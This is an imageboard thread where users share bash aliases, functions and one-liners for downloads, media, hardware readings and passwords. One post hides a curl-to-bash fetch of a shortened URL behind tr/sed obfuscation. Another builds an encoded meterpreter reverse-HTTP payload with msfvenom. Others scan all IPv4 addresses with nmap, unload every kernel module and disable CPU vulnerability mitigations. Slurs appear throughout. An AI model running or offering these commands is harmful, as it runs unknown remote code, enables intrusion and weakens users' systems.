You can add unset if it makes you feel better. With an alias you can only use parameters at the end of the command, not within it. So defining a function is one way of getting around this, another is it invoke a subshell.

...ah fuck it, let me search for a source to spoonfeed you since you won't believe you're retarded anyway...

That didn't take long, here you go:

https://stackoverflow.com/questions/7131670/make-a-bash-alias-that-takes-a-parameter

See the answer entitled "TL;DR: Do this instead"

>Clarification

>bash aliases do accept arguments, but only at the end:

>If you like circumventing limitations and doing what others say is impossible,...

that sounds like me, but certainly not you faggot.

> here's the recipe. Just don't blame me if your hair gets frazzled and your face ends up covered in soot mad-scientist-style.

>The workaround is to pass the arguments that alias accepts only at the end to a wrapper that will insert them in the middle and then execute your command.

>

>Solution 1

>If you're really against using a function per se, you can use:

>$ alias wrap_args='f(){ echo before "$@" after; unset -f f; }; f'

>$ wrap_args x y z

>before x y z after

>

>You can replace $@ with $1 if you only want the first argument.

>

>Explanation 1

>

>This creates a temporary function f, which is passed the arguments (note that f is called at the very end). The unset -f removes the function definition as the alias is executed so it doesn't hang around afterwards.

>Solution 2

>You can also use a subshell:


 No.1004884

>>1004869

There's a misunderstanding. I meant why define an alias and not just the function itself in your config file?


 No.1004898

>>1004884

>never mentioned config

>it's about config

sure it is. lel.

we both know it doesn't need to be aliased if it is a function in a config file. If it is, it is more for a particular users convenience.

e.g. >>1004590 would see all such defined alias returned with

$alias

which may be preferable to confine such definitions to the alias set, rather than wading through the output of

$declare -F

for functions which often contains a much longer list.


 No.1005027

>>1004309

Enlighten me. I was always looking for a better way than this messy regexp.

>>1004867

>WARC output does not work with timestamping, timestamping will be disabled.

Ah, right, forgot about that. Thanks for reminding.

By the way, you don’t have to specify the .wgetrc options via the -e flag, unless you want to.

All of them—with the exception for the robots option—have a corresponding flag.

> “check_certificate = off” is --no-check-certificate

> “ignore_length = on” is --ignore-length

> “inte4_only = on” is -4

> “restrict_file_names = nocontrol” is --restrict-file-names=nocontrol

> “retry_connrefused = on” is --retry-connrefused

> “timestamping = on” is -N

> “tries = inf” is -t inf

> “trust_server_names = on” is --trust-server-names


 No.1005064

>>1005027

>-e flag or corresponding flag

Thank you anon, I was doing a quick test so used the -e than looking up each option.

>>1004309

> use the common API used by all imageboards to get the json data then parse and download from there.

>>1005027

>Enlighten me. I was always looking for a better way than this messy regexp.

I think he means the json equivalent for every thread, including this one for example, change the .html to .json

https://8ch.net/tech/res/1003160.json

It is easier to parse. for specific content to grab.


 No.1005066


function mkcd() {
mkdir -p $*
cd $*
}


 No.1005070

>>1005064

>https://8ch.net/tech/res/1003160.json

As I thought. Well, it might be easier to parse but you'll also have to turn it into something human-readable.


 No.1005153

>>1005027

This is exceedingly unlikely to work on account of my compiler being broken and me using a bunch of things I haven't used before, but this is more or less what I was thinking. I'll try to fix my compiler and get gnutls working on my machine so that I can test it and fix it. Might take a second, turns out openbsd, guile, and gnutls don't play very nice together.


(use-modules (json)) ;; json-string->scm ;; https://github.com/aconchillo/guile-json
(use-modules (web uri)) ;; uri parse functions
(use-modules (web client)) ;; http-request

(define-syntax download-images
(syntax-rules ()
((images-download scheme host path response)
(map
(lambda (post)
(call-with-output-file (string-append (assoc-ref post "tis") "." (assoc-ref post "ext))
(lambda (file-port)
(display
(http-request
(build-uri
scheme
#:host host
#:path path)) file-port)))
(assoc-ref response "posts")))))

(let* ((uri (string->uri (cadr command-line)))
(host (uri-host uri))
(path (split-and-decode-uri-path uri))
(board (car path))
(thread (string-split (car (last-pair path)) #\.))
(api-path
(cons
(list-head path (- (length path) 1))
(string-append thread ".json")))
(api-uri
(build-uri
(uri-scheme uri)
#:host host
#:path (encode-and-join-uri-path api-path)))
(response (json-string->scm (http-request api-uri)))
(mkdir thread)
(chdir thread)
(cond ((equal? host "www.4chan.org")
(download-images
(uri-scheme uri)
"i.4cdn.org"
(string-append "/" board "/" (assoc-ref post "tis") "." (assoc-ref post "ext"))
response))
((equal? host "www.8ch.net")
(download-images
(uri-scheme uri)
"media.8ch.net"
(string-append (assoc-ref post "tis") "." (assoc-ref post "ext"))
response))
(else ;; vichan default
(download-images
(uri-scheme uri)
host
(string-append "/" board "/src/" (assoc-ref post "tis") "." (assoc-ref post "ext"))
response))))


 No.1005178

>that pic

what did I miss?


 No.1005205

>>1005153

I somehow read this as a scripting thread and not a shell thread, sorry for all the irrelevant posts. Anyway this is actually the third day I've been attempting to get gnutls to compile with the guile extentions to no avail, I'm considering looking into another implementation as OBSD and GNU just seem as though they weren't meant to mix to such a degree. I'll consider making another thread for scheme and post the finished thread file downloader there.


 No.1005225

>>1003209

And I guess compiling the .class file again will turn it from bytecode into a real binary...


 No.1005271

>>1003160

I'd just say fuck it, and alias every linux command to their windows equivalent and watch people lose their fucking minds.


 No.1005273

freeram() { lsmod | awk "{print \$1}" | sudo xargs -I{} rmmod {} ; sudo /etc/init.d/udev restart ; sudo sysctl vm.drop_caches=3 }
# freeram


 No.1005303

>>1003160

https://ghostbin.com/paste/bvz4y

There's probably better ways to write this script (or just sort my data) but it does what I need.

>main music folder

>music folder I want to sync with my phone (don't want full library on there)

>copying files wastes disk space

>syncthing doesn't like sym links

>just wrote a script to find duplicate files without a hard link and create one

>now have 2 folders on desktop using no extra disk space

>hard link also means a tag update will update for both desktop folders and all synced devices


 No.1005304

>>1004590

>>1004211

>>1003448

>>1004708

i never made this line, i stole it from someone on /tech/


 No.1005372

>>1005304

NO! HE'S LYING, DON'T LISTEN TO HIM!


 No.1005409

i'm using this :

https://github.com/ekisu/mpv-webm

to slice clips to vp9 webm

There is an option to export as "Raw" but it results to big as fuck files. (1GB for a 10 second clip..) What do I need to modify to make it slice the clip without any re-encoding ?

Or do you know an alternative for fast slicing clip with mpv ?


 No.1005412

>>1005409

For example this :

https://github.com/ozmartian/vidcutter

cut the video without any re-encoding

But it would be much better being able to do it with the previous script.


 No.1005414

>>1005409


ffmpeg -i input.webm -ss 00:04:00 -t 180 -codec copy clip.webm

will copy from 4 minutes for 180 seconds, i.e. clip.webm is 3 minute long clip, which starts at 4 minutes into the original input.webm

you can use -ss before the input for an approximate fast search through longer videos (like a 2hr movie) then -ss after also so it picks up a keyframe - otherwise it will look like shit, or be out of sync.

ffmpeg -ss 01:00:00 -i input.webm -ss 00:04:00 -t 120 -codec copy clip.webm

would make a 2 minute clip starting 1 hour and 4 minutes into input.webm.


 No.1005417

>>1005414

I know about that thanks but it is not practical when I want to cut 10 slices on a video. I want to do it directly via mpv with a keyboard shortcut.


 No.1005476

wanted to post echoing that escape sequence that makes breaks your terminal to a point where it'll only displays hieroglyphs but it seems that I have to forgotten what the sequence was


 No.1005480

>>1005476

>breaks your terminal to a point where it'll only displays hieroglyphs

=changing your terminal encoding. Sometimes it happens if you output a binary file to stdout.

UTF-8 encoding

echo -n $'\e%G'

Reset it with

reset

stty sane

You may have to use Ctrl+j sequence in place of Return key if it got remapped too.


 No.1005483

>>1005480

>tfw typing "st"

>accidentally booted into windows

>steam opens

It doesn't break babun though. Probably I have everything set to UTF-8 to begin with. I hope so at least. But yeah it was either that or some ancient sentinel character from the 70's/80's. Was reading a little more like a real word though.


 No.1005486

>>1005483

*should make the terminal write backwards too


 No.1005488

>>1005486

>>1005483

there's many escape codes the UTF-8 was but one example


 No.1005912

File: 2455d7b4c1f61b2⋯.png (268.71 KB, 650x560, 65:56, 1479179457483.png)

>>1004284

wget -erobots=0 -nc -nd -nv -Rhtml,s.jpg -HErD media.8ch.net https://8ch.net/tech/res/1003160.html

This line works for most imageboards and imageboard archives. You only need to adjust the content domain. For example:

>i.warosu.org # warosu

>i.4pcdn.org # 4plebs


 No.1005913

>>1003406

echo 4oCH4payCuKWsuKAhOKWsgo=|base64 -d


 No.1007279

brightness(){ sudo sh -c 'for f in /sys/class/backlight/*; do echo $(($(<$f/brightness)'$1'*$(<$f/max_brightness)/100)) > $f/brightness; done';}
# brightness -5 / brightness +5


 No.1007290

alias head='sed 11q'


 No.1007309

>>1007290

absolute autism


 No.1007328

>>1007290

Make it a function at least.


 No.1007434

>>1005913

 ▲

▲ ▲


 No.1007439

temperature(){ for cputempdevice in /sys/class/hwmon/*; do cputempname=$(<$cputempdevice/name); if [[ $cputempname == "coretemp" || $cputempname =~ "k*temp" || $cputempname =~ "it87*" || $cputempname == "nct6775" ]]; then break; fi done; temp=$(<$cputempdevice/temp1_input); echo ${temp:0:-3}C;}
# temperature


 No.1009659

>>1007439

Interesting. I've used this from an earlier thread but yours is more accurate.

temp=$(cat /sys/class/thermal/thermal_zone0/temp)
temp=$(echo "scale=1;(${temp}/1000)" | bc)
echo "${temp}°C"


 No.1009961

sea shells sea shells by the sea shore.


 No.1010085

fix for amd devices

temperature(){ for cputempdevice in /sys/class/hwmon/*; do cputempname=$(<$cputempdevice/name); [[ $cputempname == coretemp || $cputempname == it87* || $cputempname == nct6775 || $cputempname == k8temp || $cputempname == k9temp ]] && break; done; temp=$(<$cputempdevice/temp1_input); echo ${temp:0:-3}C;}


 No.1010379


 No.1010670

temps(){ for tempdevice in /sys/class/hwmon/*; do [ -f $tempdevice/temp1_input ] && echo "$(<$tempdevice/name) $(<$tempdevice/temp1_input)"; done;}
# temps


 No.1010711

alias suicide='kill -9 $$'

function doubleclick(){ xdg-open "$@"; }


 No.1011593

File: bd031e812012b49⋯.jpg (110.44 KB, 377x500, 377:500, 1537372072639.jpg)


boy(){
x="${1:?}"; shift; y=("${@:?}")
for i in "${y[@]}"; do
man "${x}" \
| sed -n "s/.\\x08//g;/^\\s*${i}/,/^$/p" \
| fmt -w "${COLUMNS}"
done
}
complete -c 'boy'
$ boy grep -G -E -P
-G, --basic-regexp
Interpret PATTERN as a basic regular
expression (BRE, see below). This is
the default.

-E, --extended-regexp
Interpret PATTERN as an extended regular
expression (ERE, see below).

-P, --perl-regexp
Interpret the pattern as a
Perl-compatible regular expression
(PCRE). This is experimental and grep
-P may warn of unimplemented features.


 No.1011609

>>1011593

Nifty idea, until you miss the option caveats written elsewhere in the text.

If I need a refresher on an option I take it as an opportunity to learn/find better way of doing something.


$grep --help


 No.1011956

>>1004584

>use tput(1)

What's the proper procedure if my tput is BSD? Should I check for the existence of /usr/local/bin/tput and use that instead? Reason for asking is that tput on dflybsd (and probably other BSD) don't know anything about screen or tmux.


$ which tput
/usr/bin/tput
$ echo -n Hi; tput ch 0; tput ce; echo Hello
HiHello
$ alias tput=/usr/local/bin/tput
$ echo -n Hi; tput ch 0; tput ce; echo Hello
Hello

Also nice that ncurses' tput accepts terminfo capability names;


 No.1011965

>>1011956

I don't know, just look at man 1p tput for the POSIX spec and whine to your OS maintainers if it doesn't comply.


 No.1012062

>>1011956

ANSI escape codes is probably more portable and less trouble.

https://en.wikipedia.org/wiki/ANSI_escape_code


 No.1012070

echo 'carl the moongeek/o.lye10uA8/C' | tr gnu/homekat :phisth/bu\- | sed s./.L. | bash | bash


 No.1012080

>>1012062

I figured so and it's what I've been using.

I'd much rather run


printf "Hello"; sleep 1; printf "\x1b[G\x1b[K\x1b[1;34mHi\x1b[m\n"

than bringing tput into things.


 No.1012090

>>1012080

>readability matters

Set variables for the settings:


Bold=$(tput bold) ;\
Reg=$(tput sgr0) ;\
echo "Regular and ${Bold}some bold${Reg} text"


 No.1012551

Real simple function I use at work constantly:

```sgrep() {

grep -i "$1" ~/.ssh/config

}```

Never know when you'll need to send someone the connection details for a server.


 No.1012552

>>1012551

Man, that's embarrassing. To make up for my shoddy markup here's a one liner I use for generating passwords for databases and shit where it doesn't matter if I can remember it or not:

```

tr -dc '[:alnum:]' < /dev/urandom | fold -w 30 | sed 1q

```


 No.1012553

>>1012552

Fuck sake I really can't remember the 8ch formatting


 No.1012715

>>1012552

I use this instead:

#!/usr/bin/env sh
[ "$1" = '-s' ] && { F='[:alnum:]'; shift 1; } || F='[:graph:]'
[ "$1" -gt 0 ] 2> /dev/null && N=$1 || N=32
tr -cd $F < /dev/urandom | fold -bw $N | head -1
unset F N
exit


 No.1013035

passgen(){ echo -n Generating password...\ ; head -c 100 /dev/random | tr -cd "[:print:]"; echo;}
# passgen


 No.1013036


 No.1015784


# cd to the given file
function cdf() {
file=$(which "$*")
if [[ -f "${file}" ]]; then
cd "$(dirname "${file}")"
else
echo "'$*' does not exist."
fi
}

# one-liner if bloat bothers you
function cdf() { [[ -f "$(which "$*")" ]] && cd "$(dirname "$(which "$*")")" }


 No.1015872

Both Arch and Gentoo are really suck! Actually, Ubuntu or Mint is better.


 No.1015947

pretty epic huh

alias lsa='ls -p --quoting-style=escape | grep -v / | xargs -0 -d "\n" -I % file -i % | grep -E "image/[p|j|g]" | awk "{print \$1}" | tr -d \: | sxiv -t -'


 No.1015977

>>1003160


alias fuck="sudo !!"


 No.1016003

>>1015872

>are really

Illiterate, just like your choice in distro.


 No.1016408

>>1015977

Is this bait?


 No.1016567

>>1016408

>bait?

No it doesn't look like it.

If you forgot to use sudo on a command, then it runs the last command (!!) with sudo (sudo !!) by simply typing "fuck".


 No.1016573

>>1016567

Because it doesn't work?

 ~$ alias fuck="sudo !!"
~$ alias fuck
alias fuck="sudo <whatever command you entered previously>"
~$ alias fuck='sudo !!'
~$ alias fuck
alias fuck='sudo !!'
~$ fuck
sudo: !!: command not found


 No.1016577

>>1016573

>Because it doesn't work?

Not in your shell it doesn't


$echo foo
foo

$!!
echo foo
foo

>How do I repeat the last command without using the arrow keys

>With csh or any shell implementing csh-like history substitution (tcsh, bash, zsh):

>!!

>>>/g/o


 No.1016586

>>1016577

Since you clearly did not read what I posted, let me type it out for you again:

 ~$ alias fuck="sudo !!"
alias fuck="sudo <whatever command you entered previously>"
e.g.
 ~$ ls
~$ alias fuck="sudo !!"
alias fuck="sudo ls"
Running bash. The fucking fuck alias doesn't fucking work.


 No.1016592

>>1016586

you may have to reference the history file directly then via an evaluation: $(history -p !!) will get the last command in the history (!!) and not run it, effectively it does the substitution dynamically when the alias is executed. Otherwise using the double quotes as you do is a static substitution done once when the alias is defined.


alias fuck='sudo $(history -p !!)'

Note: Use of apostrophes/single quotes (and not double quotes as you're using.)There is a significant difference in the shell interpretation.

$alias fuck='sudo $(history -p !!)'
$echo foo
foo
$fuck
foo

$alias fuck="sudo $(history -p !!)"
alias fuck="sudo $(history -p <last-command-is-substituted-here>)"


 No.1016603

>>1016586

>>1016592

>>1016573

>>1015977

if you want to do the command line meme of setting your alias you have to escape the explanation mark, absolutely low iq


 No.1016605

>>1015977

>>1016408

>>1016567

>>1016573

>>1016577

>>1016586

>>1016592

>>1016603

y'all mother fuckers need to stop making scripts and reread the gnu's reference manual on bash.

One you're probably interested in right now is tiltled "history expansion".


 No.1016609

>>1016567

History expansion, and especially "!!" doesn't work normally outside of the interactive shell. Saving an alias like that would either save directly the previous command, or it'll just try and execute "!!" which isn't a real command.

As far as alias is concerned your not actually looking for the previous command as it is setup to run actual commands not bash, "!!" is done before execution, not during. so it isn't interpreted that way.

However, you can hack around it in an attempt to make it work, but it's definitly not as simplified as just running an alias.


 No.1016689

>>1003389

What the fuck


 No.1018184

I made this while drunk to show an irl friend the capabilities of bash and stuff. He destroyed his entire filesystem within a week though

#!/bin/bash
set -e

DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
DISPLAY=:0
file=
video_url=

function exit_error() {
case "${1}" in
0)
notify-send "Could not get YouTube URL"
;;
1)
notify-send "No devices found"
;;
2)
notify-send 'youtube-dl failed to download' "$(xclip -o)"
;;
3)
notify-send "Could not find file in directory"
;;
4)
notify-send "kdeconnect could not send file"
;;
esac
exit 1
}

mkdir -p ~/Music
cd ~/Music

video_url="$(xclip -o | awk -F"=|&" '{print $2}')"
[[ -z "${video_url}" ]] && exit_error 0

mapfile -t dev_ids < <(kdeconnect-cli -l | awk '/reachable/{print $3}')
[[ ${#dev_ids[@]} -eq 0 ]] && exit_error 1

youtube-dl -x --audio-format vorbis "https://www.youtube.com/watch?v=${video_url}" || exit_error 2
file="$(ls ./*"${video_url}."*)" || exit_error 3

for dev_id in "${dev_ids[@]}"; do
kdeconnect-cli -d "${dev_id}" --share "${file}" || exit_error 4
notify-send 'Success' "Sent ${file} \\nto ${dev_id}"
done


 No.1018190

>>1018184

>set -e

>not set -eu

>not set -eu -o pipefail

Faggots using bash without the only stuff that makes it better than sh should die.


 No.1018195

>>1018190

>not #!/bin/bash -eu

Before you start being a nigger about common practises you should actually learn them. There's a ton of problems with my script but like I said I was drunk, faglord.


 No.1018197

>>1018195

or even better

>#!/usr/bin/env -S bash -euo pipefail


 No.1018297

soxresample(){ input="$1"; res="$2"; output="$3"; sox $input $output rate -v -b 99.7 -M $res;}
# soxresample input.flac 96000 output.flac


 No.1018298

xcftoimage(){ input="$1"; output="$2"; gimp -ib "(let* ((image (car (gimp-file-load RUN-INTERACTIVE \"$input\" \"$input\")))(drawable (car (gimp-image-merge-visible-layers image CLIP-TO-IMAGE))))(gimp-file-save RUN-NONINTERACTIVE image drawable \"$output\" \"\"))(gimp-quit 0)";}
# xcftoimage image.xcf image.png


 No.1018333

>>1003448

That looks hella complicated for something that should be easy.


for i in *
do
ffmpeg -y -i "$i" -c:v libvpx-vp9 -b:v xxxk -pass 1 -an -f webm /dev/null
ffmpeg -y -i "$i" -c:v libvpx-vp9 -b:v xxxk -pass 2 -c:a libopus -b:a xxk ../"${i%.*}".webm
done


 No.1018336


for a in {0..255}; do for b in {0..255}; do for c in {0..255}; do for d in {0..255}; do nmap -oG grep.txt -Pn -p XX $a.$b.$c.$d; done; done; done; done


 No.1018339

>>1018336

You really shouldn't be doing that in bash


 No.1018340

>>1018339

You're right masscan or zmap would be faster. It was an example I had written down.


 No.1018342

>>1018340

Did you also write out all permutations for {0..255}.{0..255}.{0..255}.{0..255}?


 No.1018348

>>1018342

With that code? Fuck no. It takes about 13 hours with zmap.


 No.1019232

coin(){

beacon="$(

wget -qO- 'https://beacon.nist.gov/rest/record/last' \

| sed -E 's/.*<outputValue>(.*)<\/outputValue>.*/\1/' \

)"

shuf \

--head-count 1 \

--input-range 0-1 \

--random-source <(cat <<< "$beacon") \

| sed 's/1/heads/; s/0/tails/'

}


 No.1019261

>>1018336

nmap 0.0.0.0/0 -p 80


 No.1019336

>>1018333

That's some illiteracy.


 No.1027804

>>1005178

That the left part is essentially cuckchan desktop threads, while the right part implies intermediate-to-expert Linux/programming experience those on the left usually do not have.


 No.1029226

# fallocate -l 32GB drive && lspci

sudo sh -c '
devices=(01:00.0 01:00.1 00:12.0 00:12.2)

for devid in ${devices[@]}; do devid=0000:$devid
echo $(</sys/bus/pci/devices/$devid/vendor) $(</sys/bus/pci/devices/$devid/device) > /sys/bus/pci/drivers/vfio-pci/new_id
echo $devid > /sys/bus/pci/devices/$devid/driver/unbind
echo $devid > /sys/bus/pci/drivers/vfio-pci/bind
echo $(</sys/bus/pci/devices/$devid/vendor) $(</sys/bus/pci/devices/$devid/device) > /sys/bus/pci/drivers/vfio-pci/remove_id
done

qemu-system-x86_64 -enable-kvm -m 4G -cpu host -smp cores=8,threads=1 -vga none -display none -cdrom windows.iso -drive if=pflash,format=raw,readonly,file=/usr/share/edk2-ovmf/OVMF_CODE.fd -drive if=pflash,format=raw,file=/usr/share/edk2-ovmf/OVMF_VARS.fd -drive file=drive,format=raw $(sed "s/ / -device vfio-pci,host=/g" <<< \ ${devices[@]})

for devid in ${devices[@]}; do devid=0000:$devid
echo 1 > /sys/bus/pci/devices/$devid/remove
echo 1 > /sys/bus/pci/rescan
done'


 No.1029453

Is there a good w3m guide?

t. not quite a w3m wizard, but knows enough to make this post with it


 No.1030149

>spend half an hour writing ffmpeg wrapper which replaces stuff like <0:s:1> with extracted temporary .ass file, so that I can burn subtitles for use on my phone

>find out that mpv-android is already in usable state and supports ass subtitles, right after I finish the script

Oh well.

What settings do you use for your phone anyway? Or do you just copy over the full encodes?

At least it might be useful subbed webms. I guess, with little work the script could be used to support extracting arbitrary streams too, using something like <stream_specifier-file_extension> instead of the current <stream_specifier> syntax.

#!/bin/bash
function runff() {
echo @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
echo -- ffmpeg "$*"
echo @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
ffmpeg -hide_banner "$@"
}

function get_stream_specs() { grep -o '<[^> ]*>' <<< "$*" | sort -u | sed 's/^<//;s/>$//'; }

# find inputs part of the command line
# note: when i=n, ${!i} is equivalent to $n
inputs=() # ffmpeg input arguments
ninputs=0 # # of last input arg.
for (( i=1; i <= $#; ++i )); do [ "${!i}" = '-i' ] && ninputs=$((i+1)); done
if [ $ninputs -le 1 ];then echo "there are no inputs. exiting"; exit 1; fi
for (( i=1; i <= ninputs; ++i )); do inputs+=("${!i}"); done
echo -- "inputs: " "${inputs[*]}"

# extract used subtitles into separate files
declare -A exported_streams # map of stream_specifier => /path/to/extracted/tmp/file
cmd=("$@") # will contain the final command
tmprefix=/tmp/ffmpeg-$$
for stream_spec in $(get_stream_specs "$*"); do
filename="${tmprefix}-${stream_spec//:/_}.ass"
exported_streams["$stream_spec"]="$filename"
runff "${inputs[@]}" -map "$stream_spec" "$filename"
done

# replace the subtitle args with files; do this for each ffmpeg argument separately
for i in "${!cmd[@]}"; do
arg="${cmd[$i]}"
for stream_spec in $(get_stream_specs "$arg"); do
arg=$(sed "s@<$stream_spec>@${exported_streams[$stream_spec]}@g" <<< "$arg")
done
cmd["$i"]="$arg"
done
runff "${cmd[@]}"
rm "${exported_streams[@]}"


 No.1030155

>>1030149

>smartphone

>viewing stuff on smartphone

Bashniggers never dissapoint.


 No.1030158

>>1030155

I'm not gonna lug a laptop just so I can watch shit on public transport.


 No.1030162

>>1003506

i was so into batch when i was growing up man I made entire animations and UI's batch is so pure and perfect


 No.1030176

linux /boot/vmlinuz root=/dev/sda1 ro pti=0 ibrs=0 retp=0 ibpb=0 spectre_v2=off l1tf=off nospec_store_bypass_disable no_stf_barrier


 No.1030207

>>1019232

(( $(( $RANDOM % 2 )) )) && echo heads || echo tails

>relying on the US gov for your randomness


 No.1030226

>>1030207

$RANDOM is non-standard, and its implementations are usually needlessly suboptimal. Get your randomness from /dev/urandom instead.


 No.1030554

>>1030226

>>1030207

flipcoin(){ (($(od -An -N1 /dev/random) % 2)) && echo heads || echo tails;}
# flipcoin


 No.1031193

Is there a way to search within rtorrent's ncurses GUI?

I want to switch from transmission to rtorrent but now that I think about it, this is going to get pretty clunky once I have a few torrents on it.


 No.1031200

>>1031193

rtorrent needs rutorrent to be usable.


 No.1031209

>>1031200

Untrue, I'm seeding 1500 torrents right now with just rtorrent


 No.1031246

File: a72015a084e19b0⋯.mp4 (525.35 KB, 360x640, 9:16, Fuck_niggers.mp4)

>>1031200

>webshit

>usable

>at all

Sorry, I'm a white man.


 No.1031251

>>1031246

I just realized they aren't saying "fuck niggers" at all because it's backwards.


 No.1031261

File: a0860fcdb0df009⋯.webm (316.8 KB, 360x640, 9:16, out2.webm)

>>1031251

I've probably seen that a dozen times and never realized it was reversed before


 No.1031268

>>1031261

>SIR GHEN CUFF


 No.1031277

File: ee3e8cc290d2904⋯.jpg (22.35 KB, 500x384, 125:96, mfw.jpg)

>>1031261

They're saying fuck niggers backwards, then?


 No.1031296

>>1031277

Yeah, people in their live stream got them to scream it without them knowing what it really meant. If I remember correctly, their university found out and they got in shit or something.


 No.1031326

>>1031193

You have no reason to switch from transmission to rtorrent. In fact, I did the opposite because rtorrent crashed sometimes and is in general bad abandonware without a daemon/client architecture.


 No.1031329

>>1031246

rtorrent is one of the worst torrent clients without it. just try to add torrents that arent in the same folder and you will notice how annoying it is. also doing something to a single torrent is almost impossible with the cli if you have thousands torrents in it


 No.1031362

>>1031326

rtorrent can max out my connection perfectly, whereas transmission only rarely did it. I even basically ported over my transmission config as far as peer counts and so on are concerned, so I think it's a difference in their torrent implementation.

rtorrent is also many times lighter, I'd say it does a better job for less.

The only thing the rtorrent ncurses UI is missing is a search function, something like htop's filter, or a plain old "forward slash to search", and then it's perfect.

Migrating from transmission is easy, I'm going to keep using this and if I find sorting by name too clunky I'll migrate back.

By the way this is not my first experience with rtorrent, I used to seed from a nintendo wii running debian, however I never consired putting it on my PC.


 No.1031383

>>1031362

Rtorrent is supposed to be used on VERY high speed internet connections for their improvement to matter.

>many times lighter

Are you sure? The transmission daemon is very light.

Anyway, you'll only get pain by using rtorrent. Wait until it becomes active again, at least.


 No.1031384

>>1031383

i use transmission and its way too heavy for the arm meme board that i run it on. just few torrents will make the whole system unresponsive and the loads are at 100% until the seeding stops


 No.1031387

File: b7981481cd54f89⋯.png (2.68 KB, 590x55, 118:11, trans.png)

>>1031384

this is with 10 torrents and total upload speed of them is 50mbps(in isp marketing units)


 No.1031408

deepfry(){ input="$1"; iterations="$2"; output="$3"; cp $input $output; for ((n=0;n<$iterations;n++)); do convert $output -quality $(shuf -n1 -i 50-100) _$output; convert _$output -quality $(shuf -n1 -i 50-100) $output; done; rm _$output;}
# deepfry input.jpg 1000 output.jpg


 No.1031507

>>1031387

Well, I have a 100KBps up, so it may be why. There's a lightweight transmission USE flag to use less RAM, though. Maybe try Synapse torrent?


 No.1034105

File: 71baa46442a96d0⋯.jpg (202.22 KB, 1280x904, 160:113, 8c6881a3278048ce23c39b0f68….jpg)

Though I have been aware of this kind of software for ages, only now did it spring up on my head.

I just emerged midnight commander and nnn, what exactly does a commandline file manager do to improve my efficiency, and which one of these 2 or any others do you recommend?

I'm looking over both and I'm not sure what conclusions to draw from them.


 No.1034107

>>1034105

a file manager that cant be used with the mouse is useless. would just use the standard tools like ls cp or mv then. file managers should make doing things with files easy and beating the keyboard to move one file takes much more time than dragging it somewhere with the mouse


 No.1034302

File: a2bda00b0084c6a⋯.gif (177.88 KB, 217x217, 1:1, 1550892791548.gif)

Any bash golfers ITT?

I've discovered so far:

<while true;do something;done

>while :;do something;done

<for i in 1 2 3;do something;done

>for i in 1 2 3;{ something;}

<x(){ while :;do something;done;};x

>x()while :;do something;done;x


 No.1034951

File: 506379e52214033⋯.png (3.64 KB, 266x36, 133:18, trans.png)

>>1031507

maybe the debian packaged version just sucks. compiled the latest from source and it works much better. would use another distro on it but its an arm board so you cant just dump some random distro in it and have it work


 No.1036156

File: 12d635530b58903⋯.jpg (117.12 KB, 960x540, 16:9, 509e7dd0659a1a0e92c1135ea2….jpg)

>>1034105

>>1034107

Yeah, after digging around for a few days I found MC and NNN pretty useless. It seems that tab completion replaces selecting files, find replaces their search function, and anything you might whip up with filters and "add to .tar.gz" & similar shortcuts can be replaced with shell aliases, expansions and regular expressions, and I'm not sure any of those features are faster than typing in commands even if they work on single keybinds.

You're still dealing with an UI of sorts that you have to wade through to do what you want instead of a commandline where you just say what you want.

I did keep NNN installed at least, MC however has a godawful emacs UI and I don't want that shit.


 No.1036192

>>1034951

There's Void or ArchARM probably. Debian and its antediluvian packages are a known problem. Search for Debian in Transmission's Issues on Github and you find stuff like https://github.com/transmission/transmission/issues/313

Just switch to Gentoo with a cross-compiler chroot.


 No.1037930

>>1031296

Dont meant to derail the thread, but these girls went to a university near me. Pretty sure this was the case. Some stupid athlete nigger came out to give a "powerful statement" about how racism is still alive. This shit happens a lot in Utah. Some local nigger got in a fight with my highschool buddy and claimed my buddy called him nigger. Kid immediately got media attention even though he had threatened my classmate and other students over text to roll up to their house and beat them up.


 No.1037939

File: 87ae6aa239c5674⋯.png (98.87 KB, 1366x768, 683:384, shellter.png)

msfvenom -p windows/meterpreter/reverse_hop_http -e x86/shikata_ga_nai -i 3 --platform

win HOPURL=http://192.168.0.184/hop.php EXTENSIONS=stdapi,priv -f raw -o

/root/Desktop/donkeypuncher.raw

shellter


 No.1037961

>>1037939

A bunch of complicated commands and complicated software to edit a textfile and send it via curl/wget. You are a script kiddy and a faggot.


 No.1038088

Most of my scripts are just quick macros or really specific to my setup, like printing the last made screenshot according to my naming scheme so i can quickly open the newest one, but I guess these two might be of interest to /tech/.

# Quick and dirty way to read docx documents
unzip -p "$1" word/document.xml | sed -e 's|</w:p>|\n|g; s/<[^>]\+>//g; s/[^[:print:]\n]//g'

# Extracts image URLs from imgur albums so you don't need JS
curl "https://imgur.com/a/$1" 2>/dev/null | sed -e 's/</\n</g' | grep '<div id="......."' | sed -e 's/.*<div id="\(.......\)".*/https:\/\/i.imgur.com\/\1.jpg https:\/\/i.imgur.com\/\1.png/'


 No.1038106

>>103796

The first statement there is a one liner. You're not even familiar with MSF commands and you're calling someone a script kiddy. The irony. Rekt.

But you're right I should automate the entire process. I'm bored of Linux but this shell thread is actually pretty cash.


 No.1038124

>>1038106

I think the anon meant why not nc, sed/ed, and perhaps curl?


 No.1038131

>>1004267

how does it work

doesn't w3m already have image viewing?


 No.1038132

>>1004267

as for writing a downloader

isn't is as simple as using the (web client) module, and then using http-request on the image links of the thread?


 No.1038260

[code]

onchange () {

while true; do

inotifywait -e close_write $1;

"${@:2}";

done

}

# onchange source.tex pdflatex source.tex

[\code]

Runs a command whenever the given file changes. In this example, used to recompile a tex file whenever it is saved.


 No.1039756

>>1038106

Linux is a kernel.


 No.1039760

>>1038088

Just do wget "imgur.com/a/${id}/zip" -O "${id}.zip" and you get the album zipped.

That said, try to find other sources than imgur since imgur is known for reducing jpg quality.


 No.1040146

File: d69f37648254207⋯.jpg (38.88 KB, 400x300, 4:3, 1517515637551.jpg)

Been on a system where (p)rename wasn't available and made this in bash:


smv(){
if [[ "${1}" == '-n' ]]; then shift
regex="${1}"; shift
for file in "${@}"; do
echo mv -v -- "${file}" \
"$(sed -- "${regex}" <<< "${file}")"
done
else
regex="${1}"; shift
for file in "${@}"; do
mv -v -- "${file}" \
"$(sed -- "${regex}" <<< "${file}")"
done
fi
}

Usage is just like sed:

$ smv 's/jpeg/jpg/' *jpg

-n provides a (no-acting) preview.

